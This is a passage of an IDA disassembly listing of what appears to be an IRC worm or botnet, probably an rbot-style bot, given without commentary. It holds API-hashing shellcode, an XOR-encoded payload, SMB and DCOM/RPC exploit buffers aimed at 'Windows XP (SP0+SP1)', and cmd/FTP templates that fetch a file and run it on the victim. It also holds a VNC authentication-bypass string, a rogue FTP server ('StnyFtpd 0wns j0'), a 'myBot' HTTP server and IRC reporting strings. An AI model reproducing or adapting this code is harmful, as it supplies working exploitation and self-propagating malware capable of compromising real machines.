%s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CD85+B2o align 4 dword_432088 dd 10FF8h, 0 ; DATA XREF: sub_40CD85+6Ao dword_432090 dd 10FF8h ; DATA XREF: sub_40CD85+79o dword_432094 dd 7FFDF020h, 0 ; DATA XREF: sub_40CD85+162o dword_43209C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1AF+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432124 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1AF+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_432154 dd 0 ; DATA XREF: sub_40D1AF+44o dd 800000D4h, 0 unk_432160 db 81h ; │ ; DATA XREF: sub_40D289+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_4321AC db 41h ; DATA XREF: sub_40D327+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; DATA XREF: ___:0040D606o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4322EC push dword ptr [esi] push 63D61209h call sub_432302 mov [esi+8], eax call sub_4322B5 push dword ptr [esi+4] push 0CA2BD06Bh call sub_432302 mov [esi+0Ch], eax call sub_432267 push dword ptr [esi+4] push 4C0297FAh call sub_432302 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4321F0 endp ; =============== S U B R O U T I N E ======================================= sub_432267 proc near ; CODE XREF: sub_4321F0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432290 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_432267 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432290 proc near ; CODE XREF: sub_432267+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43229F: ; CODE XREF: sub_432290+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4322AC inc ebx jmp short loc_43229F ; --------------------------------------------------------------------------- loc_4322AC: ; CODE XREF: sub_432290+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4322B5 proc near ; CODE XREF: sub_4321F0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4322CD: ; CODE XREF: sub_4322B5+1Ej cmp [ecx], ebx jz short loc_4322D5 mov ecx, [ecx] jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D5: ; CODE XREF: sub_4322B5+1Aj mov edx, edi loc_4322D7: ; CODE XREF: sub_4322B5+2Aj cmp [edx+4], ebx jz short loc_4322E1 mov edx, [edx+4] jmp short loc_4322D7 ; --------------------------------------------------------------------------- loc_4322E1: ; CODE XREF: sub_4322B5+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4322B5 endp ; =============== S U B R O U T I N E ======================================= sub_4322EC proc near ; CODE XREF: sub_4321F0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4322EC endp ; =============== S U B R O U T I N E ======================================= sub_432302 proc near ; CODE XREF: sub_4321F0+16p ; sub_4321F0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_432318: ; CODE XREF: sub_432302+33j jecxz short loc_432352 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_432325: ; CODE XREF: sub_432302+2Dj lodsb cmp al, ah jz short loc_432331 ror edi, 0Dh add edi, eax jmp short loc_432325 ; --------------------------------------------------------------------------- loc_432331: ; CODE XREF: sub_432302+26j cmp edi, [esp+20h+arg_0] jnz short loc_432318 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_432352: ; CODE XREF: sub_432302:loc_432318j ; sub_432302:loc_432352j jmp short loc_432352 sub_432302 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_432358 proc near ; DATA XREF: ___:0040D5B4o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_4323AA mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_432375: ; CODE XREF: sub_432358+38j jecxz short loc_4323A5 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432380: ; CODE XREF: sub_432358+32j lodsb test al, al jz short loc_43238C ror edx, 0Dh add edx, eax jmp short loc_432380 ; --------------------------------------------------------------------------- loc_43238C: ; CODE XREF: sub_432358+2Bj cmp edx, [esp+arg_0] jnz short loc_432375 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_4323A5: ; CODE XREF: sub_432358:loc_432375j mov [esp+arg_0], ebx retn sub_432358 endp ; =============== S U B R O U T I N E ======================================= sub_4323AA proc near ; CODE XREF: sub_432358+7p ; FUNCTION CHUNK AT 004323E2 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4323C3 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4323CE ; --------------------------------------------------------------------------- loc_4323C3: ; CODE XREF: sub_4323AA+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4323CE: ; CODE XREF: sub_4323AA+14j pop edi xor esi, esi pusha push esi jmp short loc_4323E2 sub_4323AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4323D5 proc near ; CODE XREF: sub_4323AA:loc_4323E2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4323D5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4323AA loc_4323E2: ; CODE XREF: sub_4323AA+29j call sub_4323D5 loc_4323E7: ; DATA XREF: sub_40CD85+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_4323AA ; --------------------------------------------------------------------------- dw 0 dword_4323EC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD85+2F5o dword_4323F8 dd 30h ; DATA XREF: sub_40CD85+2CAo dword_4323FC dd 0A1h ; DATA XREF: sub_40CD85+29Fo dword_432400 dd 3 ; DATA XREF: sub_40CD85+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD85+153o align 4 loc_43240C: ; DATA XREF: sub_40CD85+E8o jmp short near ptr dword_432414 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_432414 dd 0 ; CODE XREF: ___:loc_43240Cj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5DBo db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_43247C dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E01Eo ; ___:0040E158o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4324C8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCEA+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_43282C dd 20h, 0 ; DATA XREF: sub_40DCEA+136o dd 20h, 5C005Ch, 0 off_432840 dd offset aEmant ; DATA XREF: sub_40DCEA+15Do ; "emant" dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 10h dword_432880 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCEA+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_4328B4 dd offset word_580046 ; DATA XREF: sub_40DCEA+45o dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0 dword_432990 dd 10016C6h ; DATA XREF: sub_40DCEA+104o dword_432994 dd 100139Dh ; DATA XREF: sub_40DCEA+FBo off_432998 dd offset dword_5C005C ; DATA XREF: sub_40DB4F+1Co ; sub_40DC32+16o align 10h off_4329A0 dd offset dword_49005C ; DATA XREF: sub_40DB4F+Co ; sub_40DC32+Bo dd offset aLandes ; "Landes" dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E226o ; ___:0041B90Co align 4 aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1D9o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF7Eo align 4 dword_432A08 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040E634o ; --------------------------------------------------------------------------- loc_432A14: ; CODE XREF: ___:00432A1Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432A14 inc edi jz short loc_432A5B and eax, 952CE753h inc esp jle short loc_432A83 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_432A5B: ; CODE XREF: ___:00432A21j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_432ABA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_432A80: ; CODE XREF: ___:00432AADj xor [esi-25h], bl loc_432A83: ; CODE XREF: ___:00432A29j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_432A9C: ; CODE XREF: ___:00432ACFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_432A80 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_432ABA: ; CODE XREF: ___:00432A61j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432B46 jo short loc_432A9C fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432ADD+1 add bl, [edi] loc_432ADD: ; CODE XREF: ___:00432AD9j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432AF2+2 cmp ch, bh dec edx loc_432AF2: ; CODE XREF: ___:00432AEDj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432B46: ; CODE XREF: ___:00432ACDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_432BCC sub al, 0BCh jmp near ptr 54452F3Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432B68 dd 0EFFFC481h, 44FFFFh, 432BB4h ; DATA XREF: ___:0040E61Bo dword_432B74 dd 42Ah ; DATA XREF: ___:0040E5CEr dword_432B78 dd 3E8h ; DATA XREF: ___:0040E63Fr dword_432B7C dd 258h ; DATA XREF: ___:0040E611r byte_432B80 db 1 ; DATA XREF: ___:0040E57Ar ; ___:0040E648r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_432B98 dd 20804h ; DATA XREF: sub_40E288r ___:0040E666o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432B84o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_432BCC: ; CODE XREF: ___:00432B50j push eax xor al, 29h loc_432BCF: ; DATA XREF: ___:0040E5A2o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432BD8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040E4D2o dword_432BEC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040E476o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040E405o align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9CB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_432C94 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAB9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EDF5o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040EC82o align 4 word_433ED8 dw 1 ; DATA XREF: ___:0040EBF9r ; sub_41B4FB+24r ... align 4 dword_433EDC dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A152+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 32587256h, 7C205E5Eh, 312C3003h dd 3050207Ch, 46723377h, 796C6C75h, 31037C20h, 7C20382Ch dd 6E573020h, 3E204433h, 732520h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferCom db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00438010o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:0043801Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4341BC db 2Dh ; - ; DATA XREF: sub_40FAA3+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4341E4 db 0Dh,0Ah,0 ; DATA XREF: sub_40FAA3+2CFo ; sub_41A9BC+F2o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAA3+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FEFE+97o ; sub_41AF2B+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FEFE+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FEFE:loc_40FF63o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40FEFE+5Eo align 4 unk_434404 db 2Dh ; - ; DATA XREF: sub_410080+28Fo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_43443C db 2Dh ; - ; DATA XREF: sub_410080+20Bo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_434470: ; DATA XREF: sub_410080+157o unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_410080+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_410330+64Eo align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_410330+618o align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410330+589o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_410330+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410330:loc_410848o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: 